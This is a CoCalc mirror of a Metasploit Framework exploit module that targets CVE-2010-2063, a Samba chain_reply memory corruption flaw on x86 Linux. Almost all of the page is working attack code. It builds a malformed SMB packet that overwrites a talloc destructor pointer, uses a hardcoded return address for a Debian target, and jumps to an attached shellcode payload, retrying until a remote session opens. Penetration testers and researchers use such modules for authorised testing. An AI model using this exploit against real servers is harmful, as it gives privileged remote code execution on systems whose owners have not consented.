CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/samba/chain_reply.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GoodRanking
8
9
include Msf::Exploit::Remote::SMB::Client
10
include Msf::Exploit::Brute
11
12
def initialize(info = {})
13
super(update_info(info,
14
'Name' => 'Samba chain_reply Memory Corruption (Linux x86)',
15
'Description' => %q{
16
This exploits a memory corruption vulnerability present in Samba versions
17
prior to 3.3.13. When handling chained response packets, Samba fails to validate
18
the offset value used when building the next part. By setting this value to a
19
number larger than the destination buffer size, an attacker can corrupt memory.
20
Additionally, setting this value to a value smaller than 'smb_wct' (0x24) will
21
cause the header of the input buffer chunk to be corrupted.
22
23
After close inspection, it appears that 3.0.x versions of Samba are not
24
exploitable. Since they use an "InputBuffer" size of 0x20441, an attacker cannot
25
cause memory to be corrupted in an exploitable way. It is possible to corrupt the
26
heap header of the "InputBuffer", but it didn't seem possible to get the chunk
27
to be processed again prior to process exit.
28
29
In order to gain code execution, this exploit attempts to overwrite a "talloc
30
chunk" destructor function pointer.
31
32
This particular module is capable of exploiting the flaw on x86 Linux systems
33
that do not have the nx memory protection.
34
35
NOTE: It is possible to make exploitation attempts indefinitely since Samba forks
36
for user sessions in the default configuration.
37
},
38
'Author' =>
39
[
40
'Jun Mao', #Initial discovery
41
'jduck'
42
],
43
'License' => MSF_LICENSE,
44
'References' =>
45
[
46
[ 'CVE', '2010-2063' ],
47
[ 'OSVDB', '65518' ],
48
[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=873' ]
49
],
50
'Privileged' => true,
51
'Payload' =>
52
{
53
'Space' => 0x600,
54
'BadChars' => "",
55
},
56
'Platform' => 'linux',
57
'Targets' =>
58
[
59
[ 'Linux (Debian5 3.2.5-4lenny6)',
60
{
61
'Offset2' => 0x1fec,
62
'Bruteforce' =>
63
{
64
'Start' => { 'Ret' => 0x081ed5f2 }, # jmp ecx (smbd bin)
65
'Stop' => { 'Ret' => 0x081ed5f2 },
66
'Step' => 0x300 # not used
67
}
68
}
69
],
70
71
[ 'Debugging Target',
72
{
73
'Offset2' => 0x1fec,
74
'Bruteforce' =>
75
{
76
'Start' => { 'Ret' => 0xAABBCCDD },
77
'Stop' => { 'Ret' => 0xAABBCCDD },
78
'Step' => 0x300
79
}
80
}
81
],
82
],
83
'DefaultTarget' => 0,
84
'DisclosureDate' => '2010-06-16'))
85
86
register_options(
87
[
88
Opt::RPORT(139)
89
])
90
91
deregister_options('SMB::ProtocolVersion')
92
end
93
94
#
95
# Note: this code is duplicated from lib/rex/proto/smb/client.rb
96
#
97
# Authenticate using clear-text passwords
98
#
99
def session_setup_clear_ignore_response(user = '', pass = '', domain = '')
100
101
data = [ pass, user, domain, self.simple.client.native_os, self.simple.client.native_lm ].collect{ |a| a + "\x00" }.join('');
102
103
pkt = CONST::SMB_SETUP_LANMAN_PKT.make_struct
104
self.simple.client.smb_defaults(pkt['Payload']['SMB'])
105
106
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_SESSION_SETUP_ANDX
107
pkt['Payload']['SMB'].v['Flags1'] = 0x18
108
pkt['Payload']['SMB'].v['Flags2'] = 0x2001
109
pkt['Payload']['SMB'].v['WordCount'] = 10
110
pkt['Payload'].v['AndX'] = 255
111
pkt['Payload'].v['MaxBuff'] = 0xffdf
112
pkt['Payload'].v['MaxMPX'] = 2
113
pkt['Payload'].v['VCNum'] = 1
114
pkt['Payload'].v['PasswordLen'] = pass.length + 1
115
pkt['Payload'].v['Capabilities'] = 64
116
pkt['Payload'].v['SessionKey'] = self.simple.client.session_id
117
pkt['Payload'].v['Payload'] = data
118
119
self.simple.client.smb_send(pkt.to_s)
120
ack = self.simple.client.smb_recv_parse(CONST::SMB_COM_SESSION_SETUP_ANDX, true)
121
end
122
123
124
def brute_exploit(addrs)
125
126
curr_ret = addrs['Ret']
127
128
# Although ecx always points at our buffer, sometimes the heap data gets modified
129
# and nips off the final byte of our 5 byte jump :(
130
#
131
# Solution: try repeatedly until we win.
132
#
133
50.times{
134
135
begin
136
print_status("Trying return address 0x%.8x..." % curr_ret)
137
138
connect(versions: [1])
139
self.simple.client.session_id = rand(31337)
140
141
#select(nil,nil,nil,2)
142
#puts "press any key"; $stdin.gets
143
144
#
145
# This allows us to allocate a talloc_chunk after the input buffer.
146
# If doing so fails, we are lost ...
147
#
148
10.times {
149
session_setup_clear_ignore_response('', '', '')
150
}
151
152
# We re-use a pointer from the stack and jump back to our original "inbuf"
153
distance = target['Offset2'] - 0x80
154
jmp_back = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-#{distance}").encode_string
155
156
tlen = 0xc00
157
trans =
158
"\x00\x04" +
159
"\x08\x20" +
160
"\xff"+"SMB"+
161
# SMBlogoffX
162
[0x74].pack('V') +
163
# tc->next, tc->prev
164
jmp_back + ("\x42" * 3) +
165
#("A" * 4) + ("B" * 4) +
166
# tc->parent, tc->child
167
"CCCCDDDD" +
168
# tc->refs, must be zero
169
("\x00" * 4) +
170
# over writes tc->destructor
171
[addrs['Ret']].pack('V') +
172
"\x00\x00\x00\x00"+
173
"\xd0\x07\x0c\x00"+
174
"\xd0\x07\x0c\x00"+
175
"\x00\x00\x00\x00"+
176
"\x00\x00\x00\x00"+
177
"\x00\x00\xd0\x07"+
178
"\x43\x00\x0c\x00"+
179
"\x14\x08\x01\x00"+
180
"\x00\x00\x00\x00"+
181
"\x00\x00\x00\x00"+
182
"\x00\x00\x00\x00"+
183
"\x00\x00\x00\x00"+
184
"\x00\x00\x00\x00"+
185
"\x00\x00\x00\x00"+
186
"\x00\x00\x00\x00"+
187
"\x00\x00\x90"
188
189
# We put the shellcode first, since only part of this packet makes it into memory.
190
trans << payload.encoded
191
trans << rand_text(tlen - trans.length)
192
193
# Set what eventually becomes 'smb_off2' to our unvalidated offset value.
194
smb_off2 = target['Offset2']
195
trans[39,2] = [smb_off2].pack('v')
196
197
sock.put(trans)
198
199
rescue EOFError
200
# nothing
201
rescue => e
202
print_error("#{e}")
203
end
204
205
handler
206
disconnect
207
208
# See if we won yet..
209
select(nil,nil,nil, 1)
210
break if session_created?
211
}
212
end
213
end
214
215